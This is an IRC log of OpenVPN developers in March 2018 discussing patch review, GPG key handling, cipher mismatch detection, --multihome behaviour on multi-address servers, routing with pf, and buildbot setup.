<https://community.openvpn.net/openvpn/ticket/1035> 23:36 <@ordex> syzzer: FYI: https://nvd.nist.gov/vuln/search/results?adv_search=false&form_type=basic&results_type=overview&search_type=all&query=mbed+tls+2.7 23:36 <@vpnHelper> Title: NVD - Results (at nvd.nist.gov) 23:36 <@ordex> there seems to be a bug that is not yet fixed in the 2.7 branch --- Day changed Thu Mar 08 2018 01:21 <@plaisthos> dazo: Yeah, I think I need to write an overview mail about what problem we have what my solution ideas are 01:22 <@plaisthos> discussion is getting a bit confusing 02:22 <@plaisthos> I wrote a lenghty mail hope I got everything right 03:22 <@cron2> good morning 03:22 <@ordex> morninggg 03:24 <@cron2> syzzer, dazo: I'm not sure I understand the result from your nightly discussions... can I get an executive summary? Shall I read my mail? 04:38 <@syzzer> cron2: somehow dazo and you added an env_set.c to the testdriver_tls_crypto objects list 04:39 <@syzzer> but that should not happen - the original patch does not do that 04:39 <@syzzer> and if you don't everythin (except the %llu) is fine :) 04:49 <@cron2> syzzer: huh. Let me re-read the patch... 04:50 <@cron2> nah, this is your own doing 04:50 <@cron2> --- a/tests/unit_tests/openvpn/Makefile.am 04:50 <@cron2> + $(openvpn_srcdir)/env_set.c \ 04:50 <@dazo> ;-) 04:50 <@cron2> but I can just merge it without that change :) 04:52 <@dazo> ordex: yeah, mbedtls *builds* fine with 2.7.0 .... but there seems to be some ABI changes .... so the package needs to be rebuilt 04:53 <@ordex> ah yeah 04:53 <@dazo> Currently the Copr repository for Fedora/RHEL puts mbedtls and openvpn3 in an update limbo ... mbedtls wants to be upgraded, but openvpn3 is holding back due to 2.6 dependency 04:53 <@dazo> it's actually good that the mbedtls update is held back though, that doesn't break an installed system 05:37 <@syzzer> cron2: but that is inside test_crypto.c, which is not present in current master 05:37 <@syzzer> or testdriver_crypto or something like that 05:39 <@syzzer> anyway, that line needs to be removed :) 06:07 <@cron2> syzzer: oh, that could be - so it's applying this to another test which "looks close enough" 06:33 <@syzzer> cron2: yeah, that. you probably use the same script, which is different from my flow. or maybe different git version or whatnot. 06:35 <@cron2> basically "git am" 06:35 <@cron2> where does your git apply this change? 06:38 <@syzzer> not, it generates a conflict 06:38 <@cron2> that is interesting 06:38 <@syzzer> saying "this hunk was in the patch context, but not in your local copy" 06:39 <@syzzer> but I used "git-pw patch apply 147" 06:39 <@cron2> I save the mail to a file, fix the %lld line, and do "git ack-am" - which basically does "git am" and constructs a reply mail 06:41 <@cron2> might be git version related - but anyway, I'll leave that chunk off and comment it in the reply mail (so a latter patch might then break) 06:41 <@syzzer> looks like it's my newer git version, the only information about this in the patch is "@@ -39,6 +39,7 @@ crypto_testdriver_SOURCES = test_crypto.c mock_msg.c", which might be ignored by older git, but used to determine the conflicht in the newer git 06:41 <@cron2> I have 2.16.2 06:41 <@syzzer> or, that I have the original parent commit in my git tree, so it has more context 06:42 <@syzzer> that actually makes sense 06:44 <@syzzer> 2.16.2 released 21 days ago, okay, you're not exactly using an old git :') 07:06 <@ordex> aloha~ 07:07 <@syzzer> moin! 07:07 <@syzzer> thanks for the review - will respond tonight 07:09 <@ordex> no problem, I'll see your reply tomorrow morning :] 07:09 <@ordex> OpenVPN never stops! 07:09 <@ordex> :D 07:30 <@cron2> gpg: new subkeys: 2 07:30 <@cron2> gpg: new signatures: 19 07:30 <@cron2> whee 07:32 <@cron2> why do people that I have never heard about sign the security@ key? 07:33 <@ordex> we could 07:33 <@ordex> ah 07:34 <@ordex> sorry I miunderstood your sentence :P 07:34 <@ordex> maybe they just like the key and sign it :P 07:34 < eworm> probably because they do not understand the concept of web of trust :-p 07:36 * ordex ducks 07:37 <@cron2> now that's interesting 07:37 * cron2 just received a mail from dazo that is neither decryptable with my own nor with the list key 07:38 <@ordex> what's the recipient list ? 07:38 <@ordex> cron2: do you have the new private key for the list ? 07:38 <@cron2> oh 07:39 * cron2 read something about "no new key needed" but that seems to have ben the wrong "new key" 07:40 <@ordex> well, you still need the new private subkey, otherwise you can't decrypt stuff 07:40 <@ordex> even though it's a new subkey within an already existing master key 07:41 <@ordex> btw dazo is having fun encrypting only *some* emails apparently :P 07:41 <@dazo> heh .... yeah, sorry about that 07:41 <@cron2> dazo always had fun, like "encrypting mails to the list with his own pubkey" and such 07:41 <@dazo> enigmail turns on encryption by default on security 07:42 <@dazo> heh, true! :) 07:42 <@ordex> :D 07:42 <@dazo> I think I managed to beat enigmail into submission when it comes to using the right keys, though 07:42 <@dazo> but it easily gets confused with more private keys in the loop :) 07:43 <@ordex> normally it should encrypt with one valid keys for each recipient in the list 07:43 <@ordex> *key 07:44 <@dazo> yeah, but I did stumble across some known bugs there though ... not sure if it's fixed, I just added special rules for it 07:45 <@ordex> oh ok 07:45 <@dazo> syzzer: you still need the RPM workaround for RHEL6? that should be fixed in rpm-4.7.2, and my EL6.9 installs uses rpm-4.8.0-55 07:49 <@cron2> dazo: did you send me one or two mails? 07:49 <@dazo> cron2: I sent you one right now 07:49 <@dazo> and one about an hour ago 07:50 <@dazo> last one was replying to "*want*" 07:50 <@cron2> should that last one contain more than a password? If yes, it's suffering from the "attached you'll find..." syndrome 07:50 <@cron2> ah 07:51 * cron2 found all pieces 07:51 <@dazo> :) 07:53 < eworm> We have another Arch guy in here, no? 07:54 <@cron2> I am confused 07:54 <@cron2> I did "gpg -import" and it said "one new subkey" 07:54 <@cron2> but "gpg --list-secret-keys" is not showing anything from 2018 07:55 <@dazo> cron2: backup .gnupg/secring.pgp ... and --delete-secret security@openvpn.net ... and try to re-import 07:56 <@dazo> gpg has amazingly many sharp edges 08:02 <@cron2> now the key is gone but it still refuses reimport 08:02 <@cron2> wtf 08:03 <@cron2> gpg: secret keys imported: 1 08:03 <@cron2> works! 08:04 <@dazo> :) 08:06 <@dazo> [OT] ... perfect spam attempt: 08:06 <@dazo> From: %{name}% <%{name}%@vzvz.wang> 08:06 <@dazo> Reply-to: %{name}% <%{name}%@vzvz.wang> 08:06 <@dazo> Subject: %{brandwatch}% 08:06 <@cron2> experts! 08:06 <@dazo> (form the mail message itself) 08:06 <@dazo> at least I can block list a domain now :-P 08:15 <@plaisthos> hm I even ack'ed the auth-gen reject patches butfo frogt the cc to ml 08:16 * cron2 recalibrates plaisthos' hands 08:18 <@plaisthos> resending to list 08:25 <@dazo> plaisthos: read my reply first :-P 08:27 <@plaisthos> dazo: I am lost 08:27 <@dazo> okay ... we need to clarify a few things :) 08:29 <@dazo> the send_auth_failed() functionality is what we need ... but it is fairly intrusive, due to requirement to a more global context 08:30 <@dazo> so refactoring that function to work more easily inside where the authentication happens, like the auth-gen-token stuff is the key 08:30 <@plaisthos> sure 08:31 <@plaisthos> I will take a look if there is smaller struct that we can use 08:32 <@dazo> yeah, that sounds like a good start ... but I think we'll end up with a brand new send_auth_failed(), but that's okay 08:33 <@plaisthos> dazo: did you already read my summary email? 08:34 <@dazo> not sure I got it 08:34 <@dazo> sent to the ML? 08:35 <@dazo> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/ ... do you see it here? 08:35 <@vpnHelper> Title: openvpn-devel (at www.mail-archive.com) 08:58 <@plaisthos> hm no, checking where it hangs 09:01 <@plaisthos> my reply to your mail got bounced by SF( 550 This message scored 20.0 points. Congratulations! 09:02 <@plaisthos> tunderbird says sent but the mail is nowhere to be seen 09:06 <@plaisthos> ~ 09:21 <@plaisthos> 09:22 <@plaisthos> dazo: now it is on the malining list 09:25 <@dazo> I'll catch up on that after some dinner :) 09:33 <@cron2> dinner? what time zone are you in right now? 09:38 <@plaisthos> probably already dark in Norway ;) 09:45 <@plaisthos> ~. 09:58 <@cron2> --color-moved is nice indeed 09:58 <@cron2> now if I could actually *see* colours properly :-) but it's helping 10:02 <@cron2> PASS: tls_crypt_testdriver 10:02 <@cron2> ================== 10:02 <@cron2> All 4 tests passed 10:02 <@cron2> ================== 10:06 <@cron2> huh, what happened to patchwork... it's not showing patch IDs anymore? 10:06 <@vpnHelper> RSS Update - gitrepo: Move env helper functions into their own module/file <https://github.com/OpenVPN/openvpn/commit/68b97b25e4c479156d697bf3df90a4b68fbbbcea> 10:07 <@cron2> ah. wtf. one only gets IDs when logged in 10:25 <@syzzer> buildbot is exploding with git failures..? 10:30 <@cron2> no idea what it's not liking today, but this sounds like sf.net or github having hickup 11:07 <@dazo> cron2: I'm in CET ... just working odd hours, spending mornings with the family :) 11:08 <@dazo> plaisthos: nah, it's surprisingly bright these days ... dusk started less than an hour ago, so still "greyish" :) 11:08 <@dazo> I just noticed that myself a bit earlier today .... not dark at all at 16:00 :) 11:43 <@cron2> mmmh... I upgraded my FreeBSD 10.3 buildslave to 10.4, and after 3 days it starts rebooting every 5 minutes with a kernel panic, and then stabilizes again 11:43 <@cron2> w.t.f. 11:45 <@dazo> kernel buffer or stack overflow? 11:48 <@cron2> stack dump looks normal, googling hints at "oh, this error is usually bad memory" 11:49 <@cron2> not sure which of the parts I find more scary - "critical kernel bug" or "bad memory on the ESX host" 11:49 <@cron2> https://paste.fedoraproject.org/paste/FHxgkln02-LBfTCoywQTlw 11:50 <@cron2> the call stack is not always the same, so this *does* hint at "something with memory" 15:17 < tincantech> syzzer: nice work on tls-crypt-v2 17:07 <@vpnHelper> RSS Update - tickets: #1036: iPhone drops Wi-Fi connection when VPN connection made <https://community.openvpn.net/openvpn/ticket/1036> 19:24 <@ordex> syzzer: what about my comment about checking metadata before the three-way handshake? I was curious about your opinion :) 19:31 <@ordex> syzzer: I think you forgot the "vX" part in th subject of your new patches :P 19:31 <@ordex> -vX passed to git-format-patch is your friiieendd :D 20:31 < kitsune1> I had no idea -v is the short form of --reroll-count. Makes sense.. Learned a new thing :) 20:31 <@ordex> I had no idea --reroll-count is the long form of -v 20:31 <@ordex> :D 20:37 < kitsune1> hehe --- Day changed Fri Mar 09 2018 02:11 <@ordex> guys in #1035 somebody is reporting that "it would be nice if the client would error out on connection if the cipher mismatches" - any opinion? we could use the OCC to compare that no? even though not always sent (see when we have disabled OCC) 02:13 <@cron2> just have 'em turn on NCP and things are good 02:13 <@cron2> static ciphers on both ends (= what could lead to mismatches) are so 2.3.x 02:18 <@ordex> cron2: the server does not support GCM so i guess they are running 2.3.x 02:18 <@ordex> (it's PIA) 02:18 <@vpnHelper> RSS Update - tickets: #1035: OpenVPN will hang with connected status in case of cipher mismatch <https://community.openvpn.net/openvpn/ticket/1035> 02:19 <@ordex> cron2: I was just wondering if this could be slightly improved, 2.4 clients might still disable ncp, so giving the user a better feedback might be better, no? 02:26 <@cron2> OCC should already signal a cipher mismatch, but IIRC PIA has changed their server quite a lot so they use OCC as a kind of "client capability negotiation" mechanism 02:27 <@cron2> normal 2.3<->2.3 with OCC enabled and cipher mismatch will log that 02:27 <@cron2> (or 2.4<->whatever with NCP disabled and OCC enabled) 02:27 <@ordex> yeah, but not sure any UI gets that 02:28 <@ordex> I mean, just wondering if we can catch this and disconnect rather than reporting a final state of "Connection Initialized" 02:28 <@ordex> because the win gui or even nm will probably not react to those mismatch log entries, I think 02:31 <@cron2> we have an option to abort on OCC check mismatch, I just can't find it 02:32 <@ordex> oh ok 02:32 <@ordex> --opt-verify ? 02:32 <@cron2> ah --opt-verify 02:32 <@ordex> cron2: ^ 02:33 <@cron2> yes 02:33 <@ordex> so it's a server thing 02:33 <@cron2> not sure how well that works in p2mp setups ("check ifconfig") 02:34 <@cron2> the server is already in full control today... this is what we do for poor man NCP in 2.4 - look at incoming OCC and set the cipher the client has configured 02:34 <@cron2> so if the server decides "cipher mismatch!" it can reject the client 02:34 <@cron2> I was more thinking of using this on the client side (but have no idea what it will do) 02:36 <@ordex> yeah 02:40 <@ordex> cron2: 2500 msg(M_USAGE, "--opt-verify requires --mode server"); 02:40 <@ordex> za zam 02:50 <@cron2> so that's something we could improve... possibly reducing the variables that get checked to "cipher, compression, fragment" and only check *after* push-reply 02:50 <@ordex> yeah 02:50 <@ordex> something like: "I am ready, but this can't work" -> eject 02:51 <@ordex> bbl 02:52 <@cron2> yeah 02:53 <@cron2> no sure if it will actually work if the server is a 2.4 server that has "something in OCC" and later modifies its on cipher set based on client capabilities (so, "fixing" the incompatibility) 03:00 <@syzzer> ordex: ah, damn, totally forgot (x2) 09:48 <@vpnHelper> RSS Update - tickets: #1037: client-connect or similar does not fire when OpenVPN client floated <https://community.openvpn.net/openvpn/ticket/1037> 21:12 <@ordex> cron2: any way i can run one of my branches through the buildbot ? 21:13 <@ordex> it's currently in my GH repo, but i can push it to openvpn if needed 21:14 <@ordex> hmm first i should take care of the leaks ;P --- Day changed Sat Mar 10 2018 03:35 <@cron2> ordex: do you have access to the buildbot VPN? 05:20 <@cron2> *grumble* *annoyance* 05:21 <@ordex> cron2: I should - I will check later when I have some more time 06:27 <@cron2> so if you have access, pushing to you own branch in GH/OpenVPN/openvpn and then telling buildbot "build that commit ID" *should* work 06:27 <@cron2> mattock is the one who *knows* 07:17 <@ordex> alright --- Day changed Sun Mar 11 2018 10:43 < m-a> !git 10:43 <@vpnHelper> "git" is (#1) The public git trees are here: a) git://git.code.sf.net/p/openvpn/openvpn, b) https://gitlab.com/openvpn/openvpn.git, c) https://github.com/OpenVPN/openvpn/, or (#2) All of these git locations should always be in sync and identical, if not something bad has happened and you should inform the developers ASAP, or (#3) See !git-doc how to use git, or (#4) for the windows TUN/TAP driver repo, 10:43 <@vpnHelper> look at !tapdrvr, or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 20:54 <@ordex> cron2: maybe you've hit this problem, but on a linux server where I have 1 ipv4 and multiple ipv6, how do I make sure that openvpn listens in dualstack on a specific ipv6? if I do not specify the ipv6 (so it will listen on every ip) then it will mess up the client connections because will reply back with a different ip (I have the feeling this is something i can fix regardless of openvpn) 21:39 <@ordex> cron2: in init_tun() do you know why we check for clashes with public local/remote IPs *only* if they are IPv4 ? 21:40 <@ordex> you can quickly grep for invocations of check_addr_clash() and you'll see we have a precheck on the family being AF_INET 21:40 * ordex cries 22:30 <@ordex> we have tons of hidden config knobs...stuff like persist-local-ip or persist-remote-ip ... I wonder if anybody does even use them 22:34 < tincantech> tonnes of hidden config knobs .. ;-)rtfm 22:35 < tincantech> i have has Nightmares ! 22:36 < tincantech> "have has" one for dazo 22:37 <@ordex> :P 22:37 * ordex is against config options at all 22:37 <@ordex> but this is not something that can be fixed at this stage 22:38 < tincantech> i reckon .. it is roo late to be fixed 22:43 < tincantech> ordex: if you like a "code crusade" .. fix the --verb {verb:0} etc 22:44 < tincantech> boot out all that 'not verb 0' shit 22:44 <@ordex> I don't really have time for more fixes, but what is the problem? 22:44 < tincantech> chill .. i am only jkn 22:45 < tincantech> but with a point .. ipv6 pf etc 22:47 <@ordex> did you send your tested-by to the mailing list? 22:47 <@ordex> the ocde is pending more attention there 22:47 <@ordex> I have nothing else to do with it at the moment :P 22:49 < kitsune1> ordex: you need --multihome with udp and multihomed server. 22:49 < tincantech> i have tested multiple windows binaries since the ipv6pf stuff .. i can't keep up with git 22:49 <@ordex> kitsune1: what do you mean? 22:49 < kitsune1> its an option on the server to make sure return packets go by the same route 22:49 <@ordex> kitsune1: ah talking about my ipv6 problem? 22:50 < kitsune1> yeah, unless I misunderstood.. 22:50 <@ordex> but packets go through the same route, but for some reason the socket binds to an ipv6 that is different from the one i connected to 22:50 <@ordex> I just multiple IPv6 assigned by my GW 22:51 < tincantech> sounds like a giant cock up .. 22:51 <@ordex> lol 22:51 <@ordex> :D 22:52 <@ordex> to me it sounds like linux is jut deciding to use that IP on the way out, nothing openvpn can do, other than binding on a specific IP (but then we lose the dual stack) 22:52 < tincantech> pfft .. 22:53 < tincantech> to me it sounds like a monumental cock up 22:54 <@ordex> how do we solve the cock up? 22:54 <@ordex> :D 22:54 < kitsune1> But that would affect ipv4 too isn't it? With multiple ips on same interface. For me multihome has always taken care of it.. But may be I'm missing something. 22:55 <@ordex> kitsune1: well, maybe I should check how multihome works - maybe it does exactly what I am looking for 22:55 <@ordex> (even though it was though for another use case) 22:55 < kitsune1> It involves some extra book keeping hence not the default (afaik). 22:56 <@ordex> kitsune1: just checking the code - pretty simple. might actually be what i am looking for 22:56 <@ordex> because it saves where the conneciton is coming from 22:56 < kitsune1> yep. 22:56 < kitsune1> And have to check for every return packet. 22:56 < tincantech> multihome is opening a forka door 22:57 <@ordex> yeah - performance wise does not sound exciting 22:57 <@ordex> and it is not compile din by default 22:57 < tincantech> not that it should not .. but there are way more important fuck ups to consider 22:57 < kitsune1> I think its in by default -- I mean in usual distributions. Isn't it? 22:57 <@ordex> tincantech: feel free to do so :P 22:57 < tincantech> m tu .. 22:58 <@ordex> kitsune1: dunno 22:58 < kitsune1> I usually build with default options (except -disable-lzo or not etc.) and have multihome. 22:58 <@ordex> on gentoo I don't see any trace of multihome 22:58 <@ordex> mh 22:59 < kitsune1> The option gives an error? 22:59 <@ordex> just reading the code now 22:59 <@ordex> and it depends on ENABLE_IP_PKTINFO (otherwise the option does not exist at all) 23:00 <@ordex> ah but yeah, I have it on my system 23:00 < kitsune1> But ENABLE_IP_PKTINFO will be on linux. 23:00 <@ordex> I think it gets activated once the system has all it needs to deal with it 23:00 <@ordex> yeah 23:01 <@ordex> ok, so this should actually work 23:02 < kitsune1> I would think so, tho I never used it for ipv6. 23:03 <@ordex> it seems to be working now 23:03 < kitsune1> super :) 23:03 <@ordex> well, it's called multihome, but it simply pre-fills the packet headers with the IP we received the connection onto 23:04 <@ordex> of course this makes multihome work :) 23:04 <@ordex> (maybe just having multiple IPs from the same uplink is also called multihome) 23:04 <@ordex> :P 23:04 < kitsune1> Yeah, I suppose the option is so named becuase its needed on multihomed hosts 23:04 < kitsune1> yeah 23:06 <@ordex> cron2: kitsune1 suggested to use --multihome and it worked (about having multiple IPv6 assigned from the uplink) 23:07 < tincantech> ordex kitsune1 : sorry .. i did not mean to offend 23:07 <@ordex> you did not 23:08 < tincantech> ok :) 23:12 < kitsune1> me too.. in case that helps :) 23:14 < tincantech> kitsune1: it helps :) 23:17 < tincantech> i always use --local 23:18 < tincantech> for a server 23:31 < kitsune1> Yeah, but sometimes you do want to listen on multiple interfaces/IPs. --- Day changed Mon Mar 12 2018 01:19 <@ordex> mattock: when you are here could you help me running buildbot on my branch? --- Log closed Mon Mar 12 01:26:28 2018 --- Log opened Mon Mar 12 01:26:35 2018 01:26 -!- Irssi: #openvpn-devel: Total of 33 nicks [9 ops, 0 halfops, 1 voices, 23 normal] 01:26 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 01:27 -!- Irssi: Join to #openvpn-devel was synced in 40 secs 01:30 -!- pekster_ [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 01:34 -!- Netsplit *.net <-> *.split quits: pekster 02:47 <@cron2> ordex: "multihome" is for "the machine has more than one IP address (of the same family)", so that suggestion was exactly right 02:47 <@ordex> cron2: oh cool. I think it was me not knowing about what multihome was expected to be :) 02:48 <@cron2> traditionally, "more than one IP" went along with "multiple interfaces", but the problem that it fixes is "what f**** source address should I use to send out this UDP packet?" 02:48 <@cron2> there is basically two approaches to "I have an UDP service and more than one IP address" <old man telling war stories> 02:49 <@cron2> a) what bind and ntpd do: iterate over all the interfaces in the system, bind() to all of them, and handle a multitude of sockets - since the sockets are bound, sending a packet will use the right source address 02:49 <@ordex> yeah 02:49 <@cron2> drawback: when something *changes*, bind needs to re-bind, which needs privileges - so if you run bind (or ntpd) as "user nobody", and then bring up something like a ppp interface, things blow up 02:50 <@ordex> right 02:50 <@cron2> b) there is a magic socket option that tells the system "whenever an UDP packet comes in, attach 'ancilliary data' to it that tells me what destination address this incoming packet had' 02:51 <@cron2> and if you have that, you can turn that info around and pass it along to the kernel in sendmsg() to tell it "please use *that* source address!" 02:51 <@cron2> this is what --multihome turns on 02:51 <@ordex> yeah 02:51 <@ordex> which is what we do 02:51 <@ordex> yeah 02:51 <@ordex> good 02:51 <@ordex> however a) might still make sense if we want to bind to a subset of IPs 02:51 <@ordex> well, an improved version of a) 02:52 <@cron2> the drawback of this is: this socket option was introduced with IPv6, and not all OSes implemented it for IPv4 (or implemented a variant, or called the option differently), and then there were interesting bugs for IPv4-packets on an IPv6-dual-stack-socket (basically: the linux kernel people forgot to implement this code path :-) )... 02:52 <@ordex> uhm 02:52 <@ordex> what happens in that case? 02:52 <@ordex> :D 02:53 <@ordex> my server falls into that category 02:53 <@ordex> :D 02:53 <@cron2> the ancilliary data was empty on reception, and ignored on sending 02:53 <@ordex> I see 02:53 <@cron2> on NetBSD, if you tried --multihome on a v4 socket, you got EINVAL on every sendmsg() because they just didn't have option handling... 02:53 <@ordex> however, this is ok if I have only 1 IPv4 :P 02:53 <@cron2> Linux fixed this something like 3 years ago :-) 02:54 <@ordex> yeah...our platform zoo makes everything interesting 02:54 <@ordex> but glad it works 02:54 <@cron2> our manpage says you need linux 3.15 for this to work... :-) 02:54 <@cron2> I think it works on all supported platforms today (NetBSD recently added kernel support, did not test it yet) :-) - never tried it on AIX 02:55 <@ordex> yeah just checking now. "Note 2" that is, well explianed indeed 02:55 <@ordex> I am sure AIX people will survive even without it :P 02:55 <@ordex> cron2: have you seen my other comment about the clash check ? 02:56 <@ordex> that seems IPv6 was not considered at that time? something like "we'll take care of this later" ? 02:56 <@cron2> ... add to that: the code inside OpenVPN is "nearly the same" for all BSD variants including MacOS X, but OSX and BSD made different decisions when going to 64 bit... one kept ABI compatibility (= still 32bit values), one kept A*P*I compatibility (= still a "long", but now 64 bit) 02:56 <@cron2> I think it took me from 2.2 to 2.4 to finally fix multihome on all platforms :-) 02:57 <@ordex> hehe that must have been a lot of pain :D 02:57 <@cron2> wrt the clash check: I haven't looked into the code, but we have a number of checks that need to be re-evaluated whether they still make sense (there used to do stuff that classfully checks for clashes, so if you use a /28, you still get a warning if something is in the same "Class C") and adapted for IPv6 where it makes sense 02:58 <@ordex> yeah 02:58 < cthuluh> interesting, I've been eating a lot of this IPV6_PKTINFO/IP_SENDSRCADDR goo lately, but never checked what openvpn actually did 02:58 <@cron2> wrt "pain" - the worst thing is that this is API of the sort netlink uses - "you have a stream of bytes with a few magic headers, and it's passed to sendmsg(), and if it does not work, it either silently does not work or sendmsg() returns EINVAL, but there is never documentation *how* to do it" 02:59 <@cron2> cthuluh: we do PKTINFO :) 03:00 <@cron2> (I do remember having read about IP_SENDSRCADDR, but for some reason we never used *that* one) 03:01 <@cron2> actually we have IP_PKTINFO, IP_RECVDSTADDR, IPV6_PKTINFO and IPV6_RECVPKTINFO, and I refuse to remember why we need all these variants :-) 03:02 * cthuluh adds one more item to the todo list... 03:02 <@cron2> cthuluh: I claim that what we have works on OpenBSD, but let me check my notes :) 03:03 < cthuluh> I haven't needed --multihome on OpenBSD yet, don't bother :) 03:03 * cthuluh & 03:03 <@cron2> ok, so what I tested on OpenBSD is "I have a client that connects to a v4- or v6-only server, and set --multihome on the client" 03:04 <@cron2> this is usually enought to spot "we do not talk to the kernel API correctly" or "the kernel API is not there" issues, even if you only have one IP per family 03:04 <@cron2> (because it will still expect incoming info about the destination address the server talks to, and try to set that as a source) 03:05 <@ordex> cron2: multihome on the client ? 03:06 <@ordex> I guess it should work there too, even though should not really be required 03:07 <@cron2> right :-) - but it's a fairly easy test for the general code path sanity ("will it error out or fail to send packets?") 03:07 <@cron2> plus, you can see in the logs whether the "get destination address from incoming packet, print to log" part works 03:09 <@ordex> I see 05:03 <@mattock> guys: I've setup a copy of openvpn.git to build.openvpn.net for use with buildbot (as agreed earlier) 05:03 <@mattock> pushing, hard resetting history, cloning, pulling, etc. seems to work via SSH 05:04 <@mattock> I will test if buildbot is able to clone/fetch from local directory - if yes, I don't think we need http/https at all 05:11 <@cron2> the buildslave will need access as well... so unless you want to have them do ssh, you'll need http* 05:11 <@cron2> (you could run a git-daemon, and have them use git:// - which is also read-only and more efficient than http*) 05:38 <@mattock> hmm yes, the slaves 05:38 <@mattock> I will check git-daemon 05:38 <@mattock> do you have any pending commits you're about to push? 05:38 <@mattock> I'll try to finish this today 05:39 <@mattock> I can revert buildbot back to using sf.net Git repository easily if needed 05:40 <@mattock> right now it won't catch any commits as it's pointed to a static repository 05:51 <@mattock> I will head for lunch now, will finish git-daemon configuration after that 06:02 <@vpnHelper> RSS Update - tickets: #1038: OpenVPN-2.4.5 fails to build against libressl-2.6.4 due to bad ifdef check <https://community.openvpn.net/openvpn/ticket/1038> 06:05 <@ordex> there you go :D 07:09 <@cron2> mattock: this auto-assigning of trac tickets to random people is really not useful 07:09 <@cron2> this ticket #1038 is assigned to jamesyonan... 07:15 < cthuluh> cron2: should I add more input or do you just want to close this bug? 07:16 < cthuluh> I fear that other people might try to reopen it or open a new bugreport 07:16 <@cron2> cthuluh: I have closed it with a somewhat vague handwaving in your direction :-) 07:17 <@cron2> "go away, we're working on it" 07:17 <@cron2> in much more friendly terms :) 07:18 <@ordex> mh interesting email "multihome broken in the presence of asymmetric routing" 07:18 <@cron2> indeed, and fascinating timing 07:18 <@ordex> right 07:18 <@ordex> :D 07:18 <@ordex> but it makes sense to me 07:18 <@ordex> right now is forcing both a destination IP and an interface, but the intreface should not be needed and the OS should take care of routing properly, no? 07:19 <@ordex> (subject is "openvpn") 07:19 <@cron2> well 07:19 <@cron2> it depends 07:19 <@cron2> if you have two ISPs connected which both deploy source-address validation (BCP38), packets need to go out the interface where they come in, otherwise they will be dropped 07:20 <@ordex> right 07:20 <@cron2> OS routing might not do the source-dependent part properly 07:20 <@ordex> and also think about ipv6 link local addresses 07:20 <@cron2> so the answer is a bit of "uh" 07:20 <@ordex> without an iface, it won't go anywhere 07:20 <@cron2> for IPv6 LLA, no question :) 07:20 <@ordex> :) 07:20 <@ordex> yeah 07:20 <@cron2> not sure what "the right thing to do" is - what we do break his setup, but changing it to "0" might break other setups 07:21 <@ordex> yeah 07:21 <@ordex> this calls for yet another knob :/ 07:21 <@cron2> and more interesting test setups to ensure this knob actually does the right thing 07:22 <@ordex> well you need to build an asym multihome setup, similar to his. with a client connecting "in" via iface A, but the server must have a route to the client via iface B 07:22 <@cron2> and a second client that needs to go out via A .. and a test via B... 07:23 <@ordex> imho, openvpn should not run on that node :D but on something behind having just one iface :P 07:24 <@cron2> that would be chickening out :) 07:25 <@ordex> I wonder if that the "source-thing" could be done in linux somehow, i.e. conntracking ? 07:25 <@ordex> "if packet is coming from X through iface A, reroute it back on the same iface", but without having openvpn making such decision 07:25 <@ordex> because openvpn clearly does not know 07:26 <@cron2> I know FreeBSD can do it with pf(8) :-) - but have never researched linux. I would expect it to do the right thing 07:26 <@cron2> you can get nearly there by doing source-specific ("if a packet has source A, use default route from table 10, if source B, default route from table 11") 07:26 <@ordex> so with pf you would "enable" such behaviour for specific networks ? 07:26 <@ordex> yeah 07:27 <@cron2> I have one machine which has a "regular" gateway, and a "if a packet comes in *here* the answer must go out *here* as well", and that works... 07:27 <@cron2> ah 07:27 <@ordex> because in his setup, you don't know what will be coming through *this other* iface, so yo can't setup policy routing 07:28 <@cron2> pf(8) has special tags in its rules, so it's 07:28 <@ordex> o 07:28 <@ordex> h 07:28 <@cron2> pass in on $interface reply-to ($interface,$gateway) proto tcp from any port 22 07:28 <@cron2> so the "reply-to" thing forces, well, "out there" 07:28 <@ordex> oh wow 07:28 <@ordex> I wonder how does the reply-to works with udp 07:29 <@cron2> state 07:29 <@ordex> meaning? it matches src:ip ? 07:29 <@ordex> and dst port 07:29 <@cron2> basically, yes - (src ip, src port, dst ip, dst port, UDP) sets up a state entry, and reply packets get matched against state first, and routing second 07:30 <@cron2> spoke to an OpenBSD guy last year who told me that his aim is to make state table lookups way faster than routing table lookups, so "having state around" is actually beneficial for forwarding performance 07:30 <@ordex> I see 07:30 <@cron2> (unlike the common wisdom where "state is bad") 07:30 <@ordex> hehe 07:31 <@ordex> sounds a bit like "nat" 07:31 <@ordex> but simplified to some extends 07:31 <@cron2> oh, pf can do NAT as well :) 07:31 <@ordex> :) 07:31 <@ordex> I had no doubt 07:31 <@ordex> hehe 07:31 <@cron2> but anyway, I'm fairly sure something can be built with conntrack under Linux as well, but I have no idea how to go about it 07:31 < cthuluh> pf state lookups are already faster than pf rules evaluations 07:32 < cthuluh> in OpenBSD, that is, but probably also with FreeBSD's older version 07:53 <@ordex> cron2: now that i think about that, so basically pf does "routing" too ? 07:53 <@ordex> because selecting an interface doe snot really sounds like packet filtering 07:53 <@ordex> :) 07:54 <@cron2> ordex: well, it does "whatever you feel can be done to a packet" :) 07:54 <@ordex> :D 07:54 <@ordex> I see 07:54 <@ordex> because I don't think in linux iptables can at any point in time affect the iface selection decision (Well it cam mark packets) 07:55 <@ordex> I did not expect openbsd to be this different 07:55 <@ordex> :) 07:55 <@ordex> different philosophy I guess (now it gets romantic) 08:40 -!- slypknot is now known as tincantech 08:42 < tincantech> ordex: you still awake ? 08:42 <@ordex> yap 08:42 < tincantech> https://forums.openvpn.net/viewtopic.php?f=33&t=25785 08:42 <@vpnHelper> Title: OpenVPN Connect App Crashing After Android 8.0 Update - OpenVPN Support Forum (at forums.openvpn.net) 08:42 < tincantech> turning into spam .. 08:42 <@ordex> yeah I did report the post 08:42 <@ordex> :D 08:42 < tincantech> in the past, when threads get spammy like that one we usually delete the thread 08:42 <@ordex> not sure what to do in those cases? 08:43 <@ordex> but it's just the last post that is spam 08:43 < tincantech> ecrist_: your opinion ? 08:43 <@ordex> this spammer probably just replied to the last active thread in the subforum 08:43 < tincantech> the last THREE are spam 08:43 <@ordex> 3? 08:43 <@ordex> ah 08:43 < tincantech> look closely at the last three they are all links to products 08:43 <@ordex> because they all say "it worked here" ? 08:43 <@ordex> links? 08:43 < tincantech> url links 08:44 <@ordex> LOL 08:44 <@ordex> I did not notice them 08:44 <@ordex> son of a gun 08:44 < tincantech> ;-) 08:44 <@ordex> but the first of those 3 is the OP 08:44 <@ordex> !? 08:44 < tincantech> and so we 